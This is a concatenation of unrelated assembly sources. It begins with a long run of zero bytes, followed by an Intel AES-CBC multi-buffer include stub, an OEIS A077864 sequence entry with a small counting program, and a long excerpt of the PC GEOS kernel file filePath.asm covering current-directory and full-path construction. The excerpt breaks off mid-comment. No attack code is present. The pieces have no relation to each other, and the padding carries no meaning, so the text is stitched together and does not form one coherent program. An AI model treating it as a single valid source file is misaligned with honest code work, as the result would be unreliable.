00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
;; ;; Copyright (c) 2018-2020, Intel Corporation ;; ;; Redistribution and use in source and binary forms, with or without ;; modification, are permitted provided that the following conditions are met: ;; ;; * Redistributions of source code must retain the above copyright notice, ;; this list of conditions and the following disclaimer. ;; * Redistributions in binary form must reproduce the above copyright ;; notice, this list of conditions and the following disclaimer in the ;; documentation and/or other materials provided with the distribution. ;; * Neither the name of Intel Corporation nor the names of its contributors ;; may be used to endorse or promote products derived from this software ;; without specific prior written permission. ;; ;; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" ;; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE ;; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE ;; DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE ;; FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL ;; DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR ;; SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER ;; CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, ;; OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE ;; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ;; %define AES_CBC_ENC_X4 aes_cbc_enc_128_x4_no_aesni %define FLUSH_JOB_AES_ENC flush_job_aes128_enc_sse_no_aesni %include "sse/mb_mgr_aes_flush_sse.asm"
; A077864: Expansion of (1-x)^(-1)/(1-x-2*x^2-x^3). ; 1,2,5,11,24,52,112,241,518,1113,2391,5136,11032,23696,50897,109322,234813,504355,1083304,2326828,4997792,10734753,23057166,49524465,106373551,228479648,490751216,1054084064,2264066145,4862985490,10445201845,22435238971,48188628152,103504307940,222316803216,477514047249,1025651961622,2202996859337,4731814829831,10163460510128,21830087029128,46888822879216,100712457447601,216320190235162,464633928009581,997986765927507,2143574812181832,4604182272046428,9889318662337600,21241258018612289,45624077615333918,97995912314896097,210485325564176223,452101227809302336,971067791252550880,2085755572435331776,4479992382749735873,9622571318872950306,20668311656807753829,44393446677303390315,95352641309791848280,204807846321206382740,439906575618093469616,944874909570298083377,2029495907127691405350,4359152301886381041721,9363019025712061935799,20110819536612515424592,43196009889923020337912,92780667988860113122896,199283507305318669223313,428040853172961915807018,919388535772459367376541,1974753749423701868213891,4241571674141582518773992,9110467708761445622578316,19568364806468312528340192,42030871898132786292270817,90278069219830856971529518,193908177822564742084411345,416495188160359242319741199,894589613025319583460093408,1921488167168602810183987152,4127162581379601219423915168,8864728528742126423251982881,19040541858669931672283800370,40897161497533785738211681301,87842973743615775506031264923,188677838597353278654738427896,405260947582118615405012639044,870459598520440948220520759760,1869659332282031457685284465745,4015839476905031969531338624310,8625617739989535833122428315561,18526956026081631229870390029927,39794030982965734865646585285360,85473560775118533158509793660776,183588578767131634119673354261424,394329731300334435302339526868337,846980449609716236700196029051962 mul $0,2 add $0,1 seq $0,23435 ; Dying rabbits: a(n) = a(n-1) + a(n-2) - a(n-5).
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Copyright (c) GeoWorks 1990 -- All Rights Reserved PROJECT: PC GEOS MODULE: File -- Path manipulation FILE: filePath.asm AUTHOR: Adam de Boor, Mar 19, 1990 ROUTINES: Name Description ---- ----------- GLB FileGetCurrentPath Get the current directory. If the directory is a standard path, the "disk handle" returned will be a StandardPath constant and the buffer will be a relative path. If you need the full path, including drive specifier, call FileConstructFullPath, passing dx non-zero and bp = -1. GLB FileGetCurrentPathIDs Return an array of FilePathID structures for the current path, for use in handling file-change notification messages. GLB FP_LoadVarSegDS Load kdata into DS GLB Int_GetCurrentPath Get the current directory. Internal version of FileGetCurrentPath. GLB FileConstructFullPath Construct a full path given a standard path constant and a path relative to it INT CopyNTStringCXMaxPointAtNull Copy a null-terminated string leaving the dest pointer pointing to the null. INT CopyNTStringCXMaxCompressPointAtNull Copy the null-terminated string from ds:si to es:di, compressing out . and .. components and dealing with an absolute source path, so long as the leading path components already in the buffer don't come from a StandardPath. INT CopyStandardPathComponents Copy a standard path into a buffer GLB FileSetCurrentPath Set the current directory. INT CheckPathAbsolute See if the passed path is absolute. INT FileParseStandardPathIfPathsEnabled Similar to FileParseStandardPath, but only returns a standard path if KLV_stdDirPaths is non-zero, so InitForPathEnum won't choke. GLB FileParseStandardPath Construct the best combination of a StandardPath constant and a path. NOTE: if the filesystem on which our top level resides is case-insensitive, the passed path must be in all upper-case for it to be properly recognized. The best way to ensure this is to push to the directory in question and call FileGetCurrentPath, remembering to stick the drive specifier at the beginning of...to be continued.. INT StdPathPointAtNthChild Find the Nth child of a standard path GLB FILEPUSHDIR Push the current directory onto the thread's directory stack. The current directory isn't changed, but this allows FileSetCurrentPath to be called with impunity, as the previous directory can be recovered by executing a FilePopDir GLB FILEPOPDIR Pop a directory from the thread's directory stack GLB FileSetStandardPath change to one of the standard system directories INT FileAllocPath Allocate and initialize a new FilePath block INT FileSetInitialPath Set the initial path block for the kernel scheduler thread. INT FileCopyPath Make a copy of a path block INT SetCurPath Ask the appropriate FSD to set the thread's current working directory. INT SetCurPathUsingStdPath Set the thread's current directory to the passed standard path. INT InitForPathEnum Initialize variables for enumerating paths INT SetDirOnPath Set the physical current path to be the next directory on the path for the logical path. InitForPathEnum must have been called before this. INT FP_CurPathLockDS Various locking routines, here to save bytes. The routines with "Path" in their names *must* be used for the locking of paths only INT FP_PathLockDS Various locking routines, here to save bytes. The routines with "Path" in their names *must* be used for the locking of paths only INT FP_MemLockDS Various locking routines, here to save bytes. The routines with "Path" in their names *must* be used for the locking of paths only INT FileLockPath Lock down a path without causing ec-only deadlocks. INT FileUnlockPath Unlock a path without causing ec-only deadlocks. INT Int_SetDirOnPath Set the thread's current path to be the next directory on the path for the logical path INT FindNextPathEntry Find the next path entry in the paths block INT BuildPathEntry Construct the full path and set it INT FinishWithPathEnum Called after completion of path enumeration INT FileEnsureLocalPath Take the passed destination name as a file or directory that will be created and, if it's within a standard path (*not* a subdirectory of a standard path), make sure that the appropriate directories exist in the local tree under SP_TOP. INT FileCreateLocalStdPath Create the local version of a standard path. INT FileChangeDirectory Change to the given directory, changing the drive if necessary. This is allowed to use int 21h as it won't be used while a DOS executive might be running. INT FileDeletePath Delete a path block, making sure pathHandle doesn't point to it. INT FileDeletePathStack Delete all the saved paths for the current thread, along with the thread's current path. GLB FileForEachPath Iterate over all active paths (the current directories and any directory stack entries for all existing threads). INT FFEP_callback Callback function for FilePathProcess via ThreadProcess. Performs all the actual work of the traversal... REVISION HISTORY: Name Date Description ---- ---- ----------- Adam 3/19/90 Initial revision DESCRIPTION: Functions for tracking and manipulating FilePaths structures in the kernel. Handling of paths for standard directories: The loader builds a structure... $Id: filePath.asm,v 1.4 98/05/02 22:26:32 gene Exp $ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ COMMENT @----------------------------------------------------------------------- FUNCTION: FileChangeDirectory DESCRIPTION: Change to the given directory, changing the drive if necessary. This is allowed to use int 21h as it won't be used while a DOS executive might be running. CALLED BY: INTERNAL (InitPaths, RunDOSProg_OSExited) PASS: ds:bx - pathname (GEOS) RETURN: carry clear if successful else ax = error code DESTROYED: ax REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Cheng 9/89 Initial version -------------------------------------------------------------------------------@ FileChangeDirectory proc far SBCS < uses dx > DBCS < uses dx, es, di, si > .enter if FULL_EXECUTE_IN_PLACE EC< push bx,si > EC < mov si, bx > EC < mov bx, ds > EC< call ECAssertValidTrueFarPointerXIP > EC< pop bx,si > endif if DBCS_PCGEOS PrintMessage <any way to keep this string in DOS at boot time?> ; ; The FSD has gone the way of the dodo by now, so convert the ; string from GEOS to DOS as best we can. ; segmov es, ds mov di, bx ;es:di <- ptr to dest mov si, bx ;ds:si <- ptr to source charLoop: lodsw EC < cmp ax, 0x80 > EC < ERROR_AE UNCONVERTABLE_DOS_CHARACTER_FOR_BOOT > stosb tst al ;reached NULL? jnz charLoop endif mov dx, ds:[bx] ;dl <- drive letter cmp dh, ':' ;drive present? jne 20$ ;branch if not sub dl, 'a' ; assume lower-case jge 10$ add dl, 'a' - 'A' ; whoops. Adjust b/c it was uppercase 10$: mov ah, MSDOS_SET_DEFAULT_DRIVE int 21h 20$: mov dx, bx mov ah, MSDOS_SET_CURRENT_DIR int 21h .leave ret FileChangeDirectory endp ;--------------------------------------------------------------------- FileCommon segment resource COMMENT @---------------------------------------------------------------------- FUNCTION: FileGetCurrentPath DESCRIPTION: Get the current directory. If the directory is a standard path, the "disk handle" returned will be a StandardPath constant and the buffer will be a relative path. If you need the full path, including drive specifier, call FileConstructFullPath, passing dx non-zero and bp = -1. CALLED BY: GLOBAL PASS: ds:si - buffer for path cx - size of buffer (may be zero) RETURN: bx - disk handle DESTROYED: none REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: Return the LOGICAL disk and path KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Tony 10/88 Initial version Cheng 2/90 Added disk handles CDB 8/19/92 Modified for new path block format ------------------------------------------------------------------------------@ FileGetCurrentPath proc far uses ax, cx, si, di, ds, es, bp .enter segmov es, ds ;es:di = dest mov di, si call FP_CurPathLockDS mov bp, ds:[FP_logicalDisk] ; bp = disk handle jcxz done mov si, ds:[FP_path] ; mov al, '\\' ; return path as absolute w.r.t. to the S.P. ; stosb ; dec cx call CopyNTStringCXMaxPointAtNull done: call FileUnlockPath mov bx, bp .leave ret FileGetCurrentPath endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FP_LoadVarSegDS %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Byte-saver to load dgroup into DS CALLED BY: INTERNAL PASS: nothing RETURN: ds = dgroup DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- ardeb 6/ 7/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ FP_LoadVarSegDS proc near LoadVarSeg ds ret FP_LoadVarSegDS endp COMMENT @----------------------------------------------------------------------- FUNCTION: Int_GetCurrentPath DESCRIPTION: Get the current directory. Internal version of FileGetCurrentPath. CALLED BY: GLOBAL PASS: dx - non-zero to add drive specifier bx - path handle si - disk handle (StandardPath if current is standard path) es:di - buffer for path cx - size of buffer (may be zero) RETURN: es:di - pointing at null cx - buffer size left bx - real disk handle DESTROYED: none REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Tony 10/88 Initial version Cheng 2/90 Added disk handles -------------------------------------------------------------------------------@ Int_GetCurrentPath proc near uses si, bp, ds .enter if FULL_EXECUTE_IN_PLACE EC< push bx,si > EC< movdw bxsi, esdi > EC< call ECAssertValidTrueFarPointerXIP > EC< pop bx,si > endif ; ; Lock down the thread's current path ; call FP_PathLockDS push bx mov bx, si ; bx <- disk handle/std path EC < tst bx > EC < ERROR_Z GASP_CHOKE_WHEEZE ; prevent endless loop > mov si, ds:[FP_path] call FileConstructFullPath mov si, bx ; save real disk handle pop bx ; ; Unlock the path ; call FileUnlockPath mov bx, si ; return real disk handle .leave ret Int_GetCurrentPath endp COMMENT @----------------------------------------------------------------------- FUNCTION: FileConstructFullPath DESCRIPTION: Construct a full path given a standard path constant and a path relative to it CALLED BY: GLOBAL PASS: dx - non-zero to add <drive-name>: bx - disk handle: 0: passed path is either relative to the current working directory, or an absolute path with drive specifier StandardPath prepend logical path for the standard path, returning top-level disk handle disk handle ds:si is absolute; disk handle used only if dx is non-zero ds:si - tail of path being constructed (must be absolute if bx is non-zero and not a StandardPath constant) es:di - buffer for path cx - size of buffer RETURN: carry set on error: - path too long to fit in buffer - invalid drive name given carry clear if OK: es:di - points at null bx - disk handle (if drive name not returned) DESTROYED: none PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Tony 5/91 Initial version ------------------------------------------------------------------------------@ if FULL_EXECUTE_IN_PLACE CopyStackCodeXIP segment resource FileConstructFullPath proc far mov ss:[TPD_dataBX], handle FileConstructFullPathReal mov ss:[TPD_dataAX], offset FileConstructFullPathReal GOTO SysCallMovableXIPWithDSSI FileConstructFullPath endp CopyStackCodeXIP ends else FileConstructFullPath proc far FALL_THRU FileConstructFullPathReal FileConstructFullPath endp endif FileConstructFullPathReal proc far uses ax, cx, dx, si bufStart local word push di stdPath local StandardPath push bx drive local nptr.DriveStatusEntry pathTail local nptr.char stdPathEnd local word .enter if FULL_EXECUTE_IN_PLACE EC< push bx,si > EC< movdw bxsi, esdi > EC< call ECAssertValidTrueFarPointerXIP > EC< pop bx,si > endif ; ; See if a drive was specified as part of the passed path. If ; so, save the path tail and DriveStatusEntry for later ; push es, si, dx call FSDLockInfoShared mov es, ax mov dx, si call DriveLocateByName jnc storeDrive ; ; If carry set, then a drive WAS specified -- it just doesn't ; match any existing drives. Store a nonzero value here. ; LocalNextChar dssi storeDrive: mov drive, si mov pathTail, dx call FSDUnlockInfoShared pop es, si, dx ; ; See if caller wants us to prepend the current path ; tst bx jnz notCurrentPath ; ; Don't prepend the current path if the passed ; path contains a drive specifier. ; tst ss:[drive] jnz notCurrentPath ;------------------------------------------------------------ ; ; MODE 1: TOLD TO PREPEND CURRENT PATH. ; ; Recurse (effectively) by calling Int_GetCurrentPath to copy ; the current path into the buffer. ; push si, ds call FP_CurPathLockDS ; fetch FP_stdPath from the block mov si, ds:[FP_stdPath] ; to deal with being in a std path mov ss:[stdPath], si ; if FP_stdPath is a standard path, ; we'll later ignore if tail is ; absolute... mov si, ds:[FP_logicalDisk] call MemUnlock mov ax, di ; preserve buffer start so we can find how ; many bytes were consumed. call Int_GetCurrentPath sub ax, di add cx, ax ; cx <- bytes left in the buffer, excluding null DBCS < shr cx, 1 ; cx <- # chars > tst dx ; any drive specifier we must skip over to ; find the actual buffer start? jz cpBufStartOK ; no mov si, ss:[bufStart] cpFindDriveLoop: SBCS < lodsb es: > DBCS < lodsw es: > LocalCmpChar ax, C_BACKSLASH jne cpFindDriveLoop LocalPrevChar essi ; point to root mov ss:[bufStart], si cpBufStartOK: ; ; To cope with standard paths, set stdPathEnd to the backslash that ; follows the standard path itself. ; test ss:[stdPath], DISK_IS_STD_PATH_MASK jz cpStdPathHandled ; ; Trim off as many chars from di as there are in the path tail in the ; current path block. ; push bx call FP_CurPathLockDS mov si, ds:[FP_path] SBCS < lea dx, [di+1] > DBCS < lea dx, [di+2] > cpStdPathLoop: LocalPrevChar dsdx LocalGetChar ax, dssi LocalIsNull ax jnz cpStdPathLoop call MemUnlock pop bx ; ; two cases here: (1) no tail under the std path, in which case ; es:dx is where the backslash is going to go; es:[dx] is then the ; null byte copied in by Int_GetCurrentPath. (2) tail under the ; std path, in which case es:[dx] is the first char of the first ; component under the std path, but we need it to be the backslash ; just before that, so we have to dec dx again. ; mov si, dx SBCS < cmp {char}es:[si], 0 > DBCS < cmp {wchar}es:[si], 0 > je cpSetStdPathEnd LocalPrevChar dsdx cpSetStdPathEnd: mov ss:[stdPathEnd], dx cpStdPathHandled: pop si, ds jmp addSeparatorToLeadingPath notCurrentPath: test bx, DISK_IS_STD_PATH_MASK jz noStdPath ;------------------------------------------------------------ ; ; MODE 2: PREPEND LOGICAL PATH OF PASSED STANDARD PATH ; ; copy in top level path push si, ds call FP_LoadVarSegDS ; XXX: this code assumes the top-level's drive is always a ; single letter, which is true when running under DOS, but ; may not always be true... SBCS < mov si, offset loaderVars.KLV_topLevelPath+2 ; assume no > DBCS < mov si, offset loaderVars.KLV_topLevelPath+4 ; assume no > ; drive spec tst dx ; include drive specifier? jz topLevelCopy ; no SBCS < dec si ; no -- this is always two characters..> SBCS < dec si > DBCS < sub si, (size wchar)*2 ; no -- this is always two characters..> topLevelCopy: call CopyNTStringCXMaxPointAtNull pop si, ds jcxz fittethNot ; copy in all components of the standard path push bp, ds mov bp, bx ; bp <- std path mov bx, handle StandardPathStrings call FP_MemLockDS push si mov ax, SP_TOP ;where to stop call CopyStandardPathComponents ;recursively copy them... pop si call MemUnlock call FP_LoadVarSegDS mov bx, ds:[topLevelDiskHandle] ; return top-level disk ; handle to caller pop bp, ds jcxz fittethNot mov ss:[stdPathEnd], di ; point to backslash that ; follows to deal with absolute. addSeparatorToLeadingPath: ; ; Make sure there's a separator between the current path and the ; tail, so CopyNTStringCXMaxCompressPointAtNull won't bitch. ; LocalPrevChar esdi ; point before null LocalLoadChar ax, C_BACKSLASH SBCS < scasb ; backslash there? > DBCS < scasw ; backslash there? > jz copyTail LocalPutChar esdi, ax ; no -- add one loop copyTail ; trailing backslash has used up last char. If there is nothing to ; add, this is ok. Just go to copyTail, which will trim the final ; backslash. LocalCmpChar ds:[si], C_NULL jz copyTail SBCS < cmp {word} ds:[si], C_BACKSLASH or (0 shl 8) ; ditto for root tail > DBCS < LocalCmpChar ds:[si], C_BACKSLASH > DBCS < jne fittethNot > DBCS < LocalCmpChar ds:[si][2], C_NULL > je copyTail fittethNot: stc ; flag path incomplete jmp done ;------------------------------------------------------------ ; ; MODE 3: PREPEND ROOT OF PASSED DISK HANDLE ; noStdPath: ; if the passed path contains a drive specifier, ignore the ; disk handle, copying in the drive specifier, along with the ; rest of the tail, if the caller requested it. tst ss:[drive] jz noDriveSpecified ; ; If the caller wants a drive specifier, then just return the ; passed path, as it already contains one. We WILL NOT return ; the disk handle, since we're assuming the caller doesn't ; need it. ; tst dx ; want drive spec? jnz copyPassedPath ; ; Otherwise, return the disk handle from the passed drive ; specifier, and copy the tail into the buffer (Will ; return error if the drive isn't available, etc) ; mov dx, si mov bx, TRUE ; don't check std path call FileGetDestinationDisk jc done ; disk handle could not be found. mov si, dx ; path tail w/o drive spec copyPassedPath: ; ; Copy it in, assuming it's already compressed ; call CopyNTStringCXMaxPointAtNull jcxz fittethNot jmp done noDriveSpecified: ; ; The passed path didn't contain a drive specifier. If the ; caller doesn't want a drive spec, then just copy the path ; tst dx jz addTrailingBS ; ; Otherwise, get a drive name from the passed disk handle ; call DiskGetDrive call DriveGetName jcxz fittethNot EC < ERROR_C BAD_DISK_HANDLE > LocalLoadChar ax, ':' LocalPutChar esdi, ax dec cx jz fittethNot mov ss:[bufStart], di ; Record root backslash as start of buf addTrailingBS: LocalLoadChar ax, C_BACKSLASH LocalPutChar esdi, ax dec cx jz fittethNot copyTail: ; copy the path tail (or the entire path, in some cases) taking care ; to eliminate . and .. components call CopyNTStringCXMaxCompressPointAtNull jcxz fittethNot done: .leave ret FileConstructFullPathReal endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% CopyNTStringCXMaxPointAtNull %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Copy a null-terminated string leaving the dest pointer pointing to the null. CALLED BY: FileConstructFullPath and others PASS: ds:si = source null-terminated string es:di = destination buffer cx = # chars in the buffer RETURN: es:di = pointing to null, if it all fit cx = # chars remaining, including the null (if 0, then source string didn't fit) DESTROYED: al, si PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- tony 5/ ?/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ CopyNTStringCXMaxPointAtNull proc near if FULL_EXECUTE_IN_PLACE EC< push bx > EC< mov bx, ds > EC< call ECAssertValidTrueFarPointerXIP > EC< pop bx > endif 10$: LocalGetChar ax, dssi LocalPutChar esdi, ax LocalIsNull ax loopne 10$ jne done LocalPrevChar esdi ; point at null inc cx ; and flag another char avail done: ret CopyNTStringCXMaxPointAtNull endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% CopyNTStringCXMaxCompressPointAtNull %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Copy the null-terminated string from ds:si to es:di, compressing out . and .. components and dealing with an absolute source path, so long as the leading path components already in the buffer don't come from a StandardPath. CALLED BY: FileConstructFullPath PASS: ds:si = source null-t string es:di = dest buffer cx = # chars avail ss:bp = stack frame inherited from FileConstructFullPath (bufStart is beginning of the buffer into which es:di points so we know if .. component is excessive, and so we can deal with absolute tail) RETURN: es:di = null terminator cx = # chars left, including null (0 if buffer too small) DESTROYED: ax PSEUDO CODE/STRATEGY: in a nutshell, we wish to copy the source string to the destination string keeping a lookout for "." and ".." components in the source string. Should we find a "." component, we delete it from the destination. Should we find a ".." component, we delete it and the previous component, even if it was in the buffer before we were called. simple state machine: base just copied backslash (dx holds position) saw . after backslash saw .. after backslash ; assume char just before us is a backslash state = copied backslash (dx = (di==bufStart ? di : di-1)) while ((al = ds:si++) != 0) { if (al == '.') { if (state == saw .) { ; remember ".." seen in case it's the whole thing state = saw .. } else if (state == copied backslash) { ; remember "." seen at start in case it's ".." or ; just "." in this component state = saw . } *es:di++ = al } else if (al == '\\') { if (state == saw .) { cx += (di - (dx+1)) di = dx+1 } else if (state == saw ..) { if (dx != bufStart) { find \ before dx and set dx to it } cx += (di - (dx+1)) di = dx+1 } else { dx = di *es:di++ = al } } else { state = base *es:di++ = al } if (--cx == 0) { break } } if (cx != 0) { if (state == saw .) { ; drop final component if it's "." di = dx } else if (state == saw ..) { ; drop final component and the one before it if ; last was ".." if (dx != bufStart) { dx = \ before dx } di = dx } else if (state == copied backslash) { di = dx } if (di == buf start) { ; preserve backslash if it's the only thing here di++, cx-- } *es:di = al } KNOWN BUGS/SIDE EFFECTS/IDEAS: It's possible to overflow the buffer, owing to ".." stuff, even though the end result, once ".."s have been taken into account, would fit into the buffer just fine. REVISION HISTORY: Name Date Description ---- ---- ----------- ardeb 8/ 1/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ CNTSCXMCPANStates etype byte CNTSCXMCPANS_BASE enum CNTSCXMCPANStates CNTSCXMCPANS_SAWDOT enum CNTSCXMCPANStates CNTSCXMCPANS_SAWDOTDOT enum CNTSCXMCPANStates CNTSCXMCPANS_LAST_WAS_BACKSLASH enum CNTSCXMCPANStates CopyNTStringCXMaxCompressPointAtNull proc near uses bx, dx .enter inherit FileConstructFullPathReal if FULL_EXECUTE_IN_PLACE EC< push bx > EC< mov bx,ds > EC< call ECAssertValidTrueFarPointerXIP > EC< pop bx > endif ; ; Deal with source string being absolute. If stdPath indicates the ; thing was preceded by a standard path, the absolute path means ; nothing. Otherwise, we shift our destination focus back to the ; start of the buffer (this for FCFP with bx==0 on a non-std path). ; LocalCmpChar ds:[si], C_BACKSLASH jne startCopy mov di, ss:[stdPathEnd] test ss:[stdPath], DISK_IS_STD_PATH_MASK jnz skipLeadingSourceSlash mov di, ss:[bufStart] skipLeadingSourceSlash: LocalNextChar esdi ; start after backslash LocalNextChar dssi startCopy: ; ; Set up for the loop, entering the "LAST_WAS_BACKSLASH" state to ; begin with, as es:[di-1] must be a backslash. ; SBCS < mov ah, CNTSCXMCPANS_LAST_WAS_BACKSLASH > DBCS < mov bl, CNTSCXMCPANS_LAST_WAS_BACKSLASH > SBCS < lea dx, [di-1] ; assume our storage point is preceded > DBCS < lea dx, [di-2] ; assume our storage point is preceded > ; by a backslash... EC < DBCS < cmp {wchar}es:[di-2], C_BACKSLASH >> EC < SBCS < cmp {char}es:[di-1], C_BACKSLASH >> EC < ERROR_NE FILE_CONSTRUCTED_PATH_DOESNT_END_IN_BACKSLASH > ; ; In no case do we go back before bufStart when compressing out .., ; however... ; cmp dx, ss:[bufStart] jae copyLoop mov dx, ss:[bufStart] copyLoop: LocalGetChar ax, dssi ; ; Deal with '.' first... ; LocalCmpChar ax, '.' jne checkBackslash DBCS < cmp bl, CNTSCXMCPANS_SAWDOT > SBCS < cmp ah, CNTSCXMCPANS_SAWDOT > jne checkCompStart ; ; this is the second . after a \. so switch to that state and ; store the char. ; DBCS < mov bl, CNTSCXMCPANS_SAWDOTDOT > SBCS < mov ah, CNTSCXMCPANS_SAWDOTDOT > jmp storeItBabe checkCompStart: ; ; Have a dot not after "." but perhaps it's after a b.s.? ; DBCS < cmp bl, CNTSCXMCPANS_LAST_WAS_BACKSLASH > SBCS < cmp ah, CNTSCXMCPANS_LAST_WAS_BACKSLASH > jne switchToBaseAndStoreItBabe ; ; Right. it is a dot after a b.s., so flag this for possible ; compression and go store the dot. ; DBCS < mov bl, CNTSCXMCPANS_SAWDOT > SBCS < mov ah, CNTSCXMCPANS_SAWDOT > jmp storeItBabe checkBackslash: ; ; Char isn't a '.' but perhaps it's a backslash, which is equally ; significant. ; LocalCmpChar ax, C_BACKSLASH jne checkNull ; ; End of a component. Need to do some things here: ; - if component just ended was ".", then delete it; don't ; store this backslash ; - if component just ended was "..", then delete it and the ; component immediately before it. again we don't store the ; b.s. as it should already be there. ; - if none of the above, we still need to record the position ; at which we'll be storing the b.s. and switch into the ; state telling us we just did so. ; DBCS < cmp bl, CNTSCXMCPANS_SAWDOT > SBCS < cmp ah, CNTSCXMCPANS_SAWDOT > je backToDX DBCS < cmp bl, CNTSCXMCPANS_SAWDOTDOT > SBCS < cmp ah, CNTSCXMCPANS_SAWDOTDOT > jne storeBackslash call findPrevCompStart backToDX: SBCS < stc ; figure # chars we're regaining > SBCS < sbb di, dx ; (di - (dx + 1)) > DBCS < sub di, dx ; (di - (dx + 1)) > DBCS < shr di, 1 ; > DBCS < dec di > add cx, di ; add them back into the total avail mov di, dx ; di <- char past backslash (dx+1) LocalNextChar esdi ; di <- char past backslash (dx+1) DBCS < mov bl, CNTSCXMCPANS_LAST_WAS_BACKSLASH > SBCS < mov ah, CNTSCXMCPANS_LAST_WAS_BACKSLASH > jmp copyLoop storeBackslash: DBCS < mov bl, CNTSCXMCPANS_LAST_WAS_BACKSLASH > SBCS < mov ah, CNTSCXMCPANS_LAST_WAS_BACKSLASH > mov dx, di jmp storeItBabe checkNull: ; ; Check for null terminator reached and bail if so. ; LocalIsNull ax je copyDone switchToBaseAndStoreItBabe: ; ; No special character, so switch to the base state to signal this. ; DBCS < mov bl, CNTSCXMCPANS_BASE > SBCS < mov ah, CNTSCXMCPANS_BASE > storeItBabe: ; ; Store the char in al, advance 